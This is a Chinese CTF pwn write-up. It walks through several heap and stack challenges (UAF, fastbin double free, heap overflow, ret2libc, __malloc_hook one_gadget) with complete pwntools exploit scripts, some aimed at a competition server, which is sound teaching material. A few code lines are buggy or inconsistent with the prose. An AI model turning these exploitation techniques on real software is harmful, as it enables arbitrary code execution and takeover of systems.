like_it

一道菜单题,方便起见,分别把1到3的函数称为add,delete,show,首先查看一下add函数

分析一下不难发现,函数的主要逻辑是遍历notelist链表,如果链表某个节点为空那么就在该处申请0x10大小的堆块,接着将print函数的地址存储到堆块的user data的前8字节区域(前面有0x10大小的chunk_header),然后输入接下来申请堆块的大小,接着在user data+8字节处再申请一个堆块,最后read将用户输入的内容读入到其中
delete函数

可以看到delete函数中free了两次,但都没有将相应的指针清零,构成UAF漏洞可以利用
show函数

输入堆块索引,调用堆块中存储的print函数
程序还给了magic函数

以上为主要函数逻辑
利用思路:
可以利用delete函数中的UAF漏洞进行利用,先申请两个大堆块(执行两次add函数,实际上堆块中包含堆块,一共4个)把第一个大堆块称为chunk0,第二个称为chunk1,申请chunk0中堆块时,内容可以随便输入,大小可为0x18,0x20,0x28…,但不能为0x10,否则后面利用UAF的时候就无法申请到print函数所在堆块的位置,不能对其进行修改,同样chunk1也不能申请0x10的堆块
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#p=remote('1.95.36.136',2055)
p=process('./like_it')
def add(size,content):
p.recvuntil(b'Your choice :')
p.sendline(b'1')
p.recvuntil(b'Note size :')
p.sendline(str(size))
p.recvuntil(b'Content :')
p.sendline(content)
def delete(index):
p.recvuntil(b'Your choice :')
p.sendline(b'2')
p.recvuntil(b'Index :')
p.sendline(str(index))
def show(index):
p.recvuntil(b'Your choice :')
p.sendline(b'3')
p.recvuntil(b'Index :')
p.sendline(str(index))
p.recvuntil(b'Hi! What do you like?')
p.sendline(b'hi,everyone')
magic=0x400cB5
add(0x20,b'aaa')#chunk0
add(0x20,b'bbb')#chunk1
这道题比较少见,有个def函数,里面禁用了gdb的调试功能,导致无法调试,没办法展示调试过程了。。。
然后再把申请的两个chunk给free掉,此时4个chunk中的两个0x20,两个0x30(包含了chunk_head)全处于释放状态,且位于fastbin中的0x20和0x30链表中
delete(1)
delete(0)
这里释放的顺序需要注意下,由于fastbin是单项链表,遵循先进后出的原理,所以此时两个0x20大小的free_chunk状态是
chunk0->chunk1
接下来再把两个0x20大小的chunk申请回来,add函数中第一个已经帮我们申请了0x10(chunk0),只要在申请0x10大小(chunk1)就能申请回来,那么此时的chunk0和chunk1都指向print所在位置,且chunk1可以让我们进行修改,把它改为magic,然后再调用show(1),执行magic拿到flag
add(0x10,p64(magic))
show(1)
完整exp
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#p=remote('1.95.36.136',2055)
p=process('./like_it')
def add(size,content):
p.recvuntil(b'Your choice :')
p.sendline(b'1')
p.recvuntil(b'Note size :')
p.sendline(str(size))
p.recvuntil(b'Content :')
p.sendline(content)
def delete(index):
p.recvuntil(b'Your choice :')
p.sendline(b'2')
p.recvuntil(b'Index :')
p.sendline(str(index))
def show(index):
p.recvuntil(b'Your choice :')
p.sendline(b'3')
p.recvuntil(b'Index :')
p.sendline(str(index))
p.recvuntil(b'Hi! What do you like?')
p.sendline(b'hi,everyone')
magic=0x400cB5
add(0x20,b'aaa')#chunk0
add(0x20,b'bbb')#chunk1
delete(1)
delete(0)
add(0x10,p64(magic))
show(1)
p.interactive()
heap_Double_Free

依旧是道菜单题,根据需要输入不同序号执行相应功能

主要逻辑如上,create功能实现输入一个堆块索引再输入大小,接着往这个堆块里面输入内容,free功能就是单纯的输入堆块索引然后直接释放且没有将指针清零,print功能输出想要的堆块内容,接着就有个system函数,满足执行的条件是让全局变量global[4]为257(关键点),而我们需要的就是让程序最终执行system(‘/bin/sh’)获取控制权
根据Double free的原理可知,我们通过利用Double free可以控制global[4]这块的内容并把它修改成符合条件的257,那么先申请两个相同大小(0x70)的堆块,一下为初步的exp
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p=remote('1.95.36.136',2119)
#p=process('./heap')
elf=ELF('./heap')
def create(index,size,content):
p.recvuntil(b'root@ubuntu:~/Desktop$ ')
p.sendline(b'1')
p.recvuntil(b'please input id and size :')
p.sendline(str(index))
p.sendline(str(size))
p.recvuntil(b'please input contet:')
p.sendline(content)
def free(index):
p.recvuntil(b'root@ubuntu:~/Desktop$ ')
p.sendline(b'2')
p.recvuntil(b'please input id :')
p.sendline(str(index))
def print(index):
p.recvuntil(b'root@ubuntu:~/Desktop$ ')
p.sendline(b'3')
p.recvuntil(b'please input id :')
p.sendline(str(index))
global4-0x10=0x6010A0
create(0,0x68,b'aaa')#chunk0
create(1,0x68,b'bbb')#chunk1
gdb中看下

成功申请到了两个chunk
接下来进行Double free,使chunk0,chunk1构成循环链表
free(0)
free(1)
free(0)

成功构成循环链表
此时我们再申请0x68大小的chunk,利用uaf把处在链表头部的chunk0申请回来,那么此时的一个chunk0处在被使用的状态,一个chunk0处在被释放的状态,这里需要注意的是我们可以对在使用状态下的chunk0进行内容的修改且这个修改将同步到被释放的chunk0,也就是说我们对chunk0修改的结果也将出现在被释放的chunk0中,那么就可以考虑将chunk0的fd指针修改到global[4]-0x10的位置
create(0,0x68,p64(global4-0x10))

可以看到由于此时chunk0已经被申请走了,那么chunk1自然来到链表头部,下面接着chunk0以及我们修改到的地址,注意上述虽然显示的是global[4]的地址,但实际却需要修改成global4-0x10,这是因为申请回chunk时会对chunk的大小位(chunk前0x10中的后0x8字节为大小位)进行检查,如果不是0x70大小则无法申请回来,具体可以看看global4地址附近的内容

题目也是非常友好的给了我们一个数据刚好符合对chunk的申请条件(多出的0x1大小是pre_size位,如果不懂可以先去了解chunk的基本结构),那么我们申请这个chunk时就先对chunk大小检查,然后才能顺利申请到
create(1,0x68,b'aaa')
create(2,0x68,b'bbb')
create(3,0x68,p64(0x101))
由于申请是从头部开始,要先把chunk1和chunk0申请出来才能到global4,也就是说需要申请三次,第三次申请到global4同时对其内容进行修改为257使之满足条件最后发送序号4触发system
完整exp
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
#p=remote('1.95.36.136',2119)
p=process('./heap')
elf=ELF('./heap')
def create(index,size,content):
p.recvuntil(b'root@ubuntu:~/Desktop$ ')
p.sendline(b'1')
p.recvuntil(b'please input id and size :')
p.sendline(str(index))
p.sendline(str(size))
p.recvuntil(b'please input contet:')
p.sendline(content)
def free(index):
p.recvuntil(b'root@ubuntu:~/Desktop$ ')
p.sendline(b'2')
p.recvuntil(b'please input id :')
p.sendline(str(index))
def print(index):
p.recvuntil(b'root@ubuntu:~/Desktop$ ')
p.sendline(b'3')
p.recvuntil(b'please input id :')
p.sendline(str(index))
global4=0x6010A0
create(0,0x68,b'aaa')#chunk0
create(1,0x68,b'bbb')#chunk1
free(0)
free(1)
free(0)
#gdb.attach(p)
#pause()
create(0,0x68,p64(global4))
#gdb.attach(p)
#pause()
create(1,0x68,b'aaa')
create(2,0x68,b'bbb')
#gdb.attach(p)
create(3,0x68,p64(0x101))
#pause()
p.sendline(b'4')
#gdb.attach(p)
#pause()
p.interactive()
friend
就是一道简单的32位ret2libc,按照正常思路做即可

exp
from pwn import*
from LibcSearcher import*
context(arch='i386',os='linux',log_level='debug')
p=remote('1.95.36.136',2082)
elf=ELF('./friend')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start=0x804863A
p.recvuntil(b'Please enter what you need:')
p.sendline(b'2')
payload=b'a'*(0x70+4)+p32(puts_plt)+p32(start)+p32(puts_got)
p.recvuntil(b'Give You Ret2libc\n')
p.sendline(payload)
puts_real=u32(p.recvuntil(b'\xf7')[-4:])
libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
p.recvuntil(b'Please enter what you need:')
p.sendline(b'2')
payload=b'a'*(0x70+4)+p32(system)+p32(0)+p32(bin_sh)
p.recvuntil(b'Give You Ret2libc\n')
p.sendline(payload)
p.interactive()
不过这道题可能用LibcSearcher那个工具找不到匹配的libc,要自己去找,版本是libc6-i386_2.23-0ubuntu11.3_amd64
bll_ezheap1
一道简单的菜单题,各个功能的函数也给的非常明确
直接给了shell函数,满足某个条件则能直接执行system(‘/bin/sh’)

显然目的就是要让key=11259375(0xABCDEF)
那么下面看看各个函数的具体功能

根据申请的chunk大小的限制,很明显只能申请fastbin大小的chunk

对申请的chunk进行大小的改变并输入内容,这里则可以构造堆溢出,也是本题的关键所在

delete函数虽然没有UAF漏洞,但仍可利用,结合前的edit我们可以进行堆覆盖到fastbin里的chunk并改变其fd值为key地址之前的某个值(需调试才能知道),进而实现对key的修改
先给脚本稍后解释
exp
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=remote('1.95.36.136',2067)
#p=process('./pwn2')
elf=ELF('./pwn2')
def add(index,size):
p.recvuntil(b'choice:')
p.sendline(b'1')
p.recvuntil(b'index:')
p.sendline(str(index))
p.recvuntil(b'size:')
p.sendline(str(size))
def edit(index,length,content):
p.recvuntil(b'choice:')
p.sendline(b'2')
p.recvuntil(b'index:')
p.sendline(str(index))
p.recvuntil(b'length:')
p.sendline(str(length))
p.recvuntil(b'content:')
p.send(content)
def delete(index):
p.recvuntil(b'choice:')
p.sendline(b'3')
p.recvuntil(b'index:')
p.sendline(str(index))
p.sendline(b'5')
p.recvuntil(b'0x')
key=int(p.recv(12),16)
log.success('key>'+hex(key))
add(0,0x60)
add(1,0x60)
delete(1)
payload=b'a'*(0x60+8)+p64(0x71)+p64(key-0x20+1)
edit(0,0x78,payload)
add(1,0x60)
add(2,0x60)
edit(2,0xf+8,b'a'*(0xf)+p64(0xABCDEF))
#gdb.attach(p)
#pause()
p.sendline(b'5')
#gdb.attach(p)
#pause()
p.interactive()
先申请两个堆块chunk0和chunk1,然后释放chunk1,此时chunk1在fastbin中
add(0,0x60)
add(1,0x60)
delete(1)
接下来就是堆块覆盖
payload=b'a'*(0x60+8)+p64(0x71)+p64(key-0x20+1)
edit(0,0x78,payload)
add(1,0x60)
add(2,0x60)
结合gdb的调试

此时我们从0x5fb5573b5010地址处开始覆盖,并保证free_chunk1的size位仍为0x71方便后面进行申请,后面就是覆盖fd了,覆盖fd为何值也是需要调试才能知道

由于不知道该覆盖为何值那么可以先看看key之前的一些地址,很明显如果把key-0x20处当做fd,那么其size位并不符合大小要求,那么就需要稍作调整

当加1时符合大小要求,相当于在原来基础上往后推一个字节,0x78与0x71虽然不同但却仍能满足要求(实际上低四字节不管是多少都对chunk申请时的大小要求无影响)

可以看到继chunk1后fd指向了key-0x20+1,那么当我们再申请两次0x60大小的chunk时,第二次就申请到了想要的地址
edit(2,0xf+8,b'a'*(0xf)+p64(0xABCDEF))
接下来就是覆盖key为条件值

覆盖起始地址距key为0xf,先覆盖0xf,后面输入条件值即可
最后发送5触发shell
nc

一眼看到system()函数但是参数要我们自己传,根据红框中的要求先输入$0让V4为1,从而进入parse_special_command()函数

可以看到这个函数是将输入的s复制给command,但有个要求,会将s与s2数组指针里的内容进行对比,如果不一样则执行不了command,全局变量unk_400AB8里的是ls,也就是说只有输入ls和cat${IFS}flag这两个命令才能执行,而刚好执行后就能获得flag

stackof

给了shell那就是很简单的一道题,只要让输入的第110个字符为1即可执行shell()
exp
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=remote('1.95.36.136',2068)
payload=b'a'*109+b'1'
p.sendline(payload)
p.interactive()
bllhl_uaf
一道菜单题,各个函数的功能也简单易懂,重点关注delete函数,发现只是单纯的执行free,并没有将指针清零,所以可以利用uaf

解题思路:
程序没给system,优先考虑泄露libc,题目给了libc文件尝试利用onegadget对malloc_hook进行修改(__malloc_hook是malloc的’钩子’,调用malloc函数之前会先检查malloc_hook里的内容,如果有则执行,没有则执行默认malloc功能)。
那么首先需要泄露某个libc,根据相应偏移得到基址,那么可以利用Unsorted_bin的特性泄露一个在main_arean中的libc地址,减去偏移得到基址
from pwn import*
from LibcSearcher import*
context(arch='amd64',os='linux',log_level='debug')
p=remote('1.95.36.136',2115)
#p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def debug():
gdb.attach(p)
pause()
def add(index,size):
p.recvuntil(b'choice:')
p.sendline(b'1')
p.recvuntil(b'index:')
p.sendline(str(index))
p.recvuntil(b'size:')
p.sendline(str(size))
def delete(index):
p.recvuntil(b'choice:')
p.sendline(b'2')
p.recvuntil(b'index:')
p.sendline(str(index))
def edit(index,length,content):
p.recvuntil(b'choice:')
p.sendline(b'3')
p.recvuntil(b'index:')
p.sendline(str(index))
p.recvuntil(b'length:')
p.sendline(str(length))
p.recvuntil(b'content:')
p.sendline(content)
def show(index):
p.recvuntil(b'choice:')
p.sendline(b'4')
p.recvuntil(b'index:')
p.sendline(str(index))
add(0,0x80)#chunk0
add(1,0x60)#chunk1
delete(0)
show(0)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info('libc_addr>'+hex(libc_addr))
#debug()
padding=0x3c4b78
libc_base=libc_addr-padding
info('libc_base>'+hex(libc_base))
这里多申请一个chunk1是隔离top_chunk,否则chunk0释放后会直接合并到top_chunk,释放chunk0后,chunk0到fastbin中,但由于uaf,此时chunk0的指针仍指向chunk0,那么直接调用show就能打印出chunk0中的libc地址再减去偏移获得libc基址,padding的获取可由泄露的libc地址减去libc基址获得(要在gdb中调试才行)


接下来就可以利用uaf将堆伪造到malloc_hook之前的某个地址,然后再重新申请回来,写入onegadget
delete(1)
edit(1,8,p64(libc.sym['__malloc_hook']+libc_base-0x23))
add(0,0x60)
add(1,0x60)
onegadget=[0x4527a,0xf03a4,0xf1247]
one_gadget=onegadget[1]+libc_base
#one_gadget=libc_base+0x4527a
edit(1,0x13+8,b'a'*(0x13)+p64(one_gadget))
#debug()
add(0,b'aaa')
p.interactive()
先把之前的chunk1free掉,此时chunk1位于fastbin链表中的最后一个,利用uaf修改chunk1内容使其fd指针指向malloc_hook-0x23的地址(这个位置的chunk_size位刚好是0x70,后面能直接申请到)

那么再申请两次就能申请到目标地址并修改内容为onegadget,最后执行malloc触发onegadget
exp
from pwn import*
from LibcSearcher import*
context(arch='amd64',os='linux',log_level='debug')
#p=remote('1.95.36.136',2115)
p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def debug():
gdb.attach(p)
pause()
def add(index,size):
p.recvuntil(b'choice:')
p.sendline(b'1')
p.recvuntil(b'index:')
p.sendline(str(index))
p.recvuntil(b'size:')
p.sendline(str(size))
def delete(index):
p.recvuntil(b'choice:')
p.sendline(b'2')
p.recvuntil(b'index:')
p.sendline(str(index))
def edit(index,length,content):
p.recvuntil(b'choice:')
p.sendline(b'3')
p.recvuntil(b'index:')
p.sendline(str(index))
p.recvuntil(b'length:')
p.sendline(str(length))
p.recvuntil(b'content:')
p.sendline(content)
def show(index):
p.recvuntil(b'choice:')
p.sendline(b'4')
p.recvuntil(b'index:')
p.sendline(str(index))
add(0,0x80)
add(1,0x60)
delete(0)
show(0)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info('libc_addr>'+hex(libc_addr))
#debug()
padding=0x3c4b78
libc_base=libc_addr-padding
info('libc_base>'+hex(libc_base))
delete(1)
edit(1,8,p64(libc.sym['__malloc_hook']+libc_base-0x23))
debug()
add(0,0x60)
add(1,0x60)
onegadget=[0x4527a,0xf03a4,0xf1247]
one_gadget=onegadget[1]+libc_base
#one_gadget=libc_base+0x4527a
edit(1,0x13+8,b'a'*(0x13)+p64(one_gadget))
#debug()
add(0,b'aaa')
p.interactive()